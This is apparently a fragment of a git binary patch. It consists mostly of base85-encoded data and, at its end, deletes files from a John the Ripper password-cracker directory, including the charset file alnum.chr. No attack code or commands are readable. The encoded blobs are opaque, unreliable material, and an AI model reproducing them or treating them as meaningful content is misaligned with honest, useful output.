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 diff --git a/data/john/run.linux.x64.mmx/alnum.chr b/data/john/run.linux.x64.mmx/alnum.chr deleted file mode 100644 index 55e9a0acdf8a87ba7c07b04566a3a847c2b5a3ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 232158 zcmZs?*OD7a&^1=RxZGWGyxHZFYv?V!p@;Y0gD&6(gMpg?F!n;B=TPWH^fY=Cg-(Ls zuPZTv-Hqz%s;sOuCo^jz$+GMJ{6GHqzuEuKzrX*tTMw_EGWLJs|Fh?e{gY(O{_l+C z1!u4RAI@C=mtc}H$(h81WQsAxnG#IlSuxF+=1dEwCDZt+@sn%C4P%BgBbbrQC}uP> zhFJ{FnH9`RW)-uVSu|QE7{hD=<8!VUSGWqU6xWPv!L{UCbHll0TuQDa2Iod_qqtyP zpdHU>L?6Q~=R$DHxW!d+tGPv^FW7D6eZnb5duA@K?=LTD)z z6AGh)Hevwg!W)nPe&8R+KZ5}=5SSsP0(HbHT8hE<7=tS#gux(6YA%ft2J4~O!78bQ zH29Q00aL+9FbU&pg&CN{4YX(wfz@LUumrpWITD@0$Xks4f*rtCfB_a`3StRZ3+7=% zEVhK*X6#qSeq-!+#_lk7m$41THW}NpMp!GX5a7KfQmw^2*fHWa*rpXY!ft^>5`toxD?J%~>*dAm1j2$p`$k-o@ z{mIxp#{OdLK4T9U`x`RH*uRYZ$Jj&09x?Wqu_ug?JTeA}e8JdD#$GY@nz1*GIT&*? z=3>mvn1?YhV?M_Gj0G4AGWM3ScZ|Jf>;q#T8T-W8XU0N|g&B)57G*5PSe&s0W03O{ zV`;`RjAa?iLF5@LFji!{cJ3S(8qYK+wxYcSSiti@QHu`i5$W$YVc-v$3gVh@S! 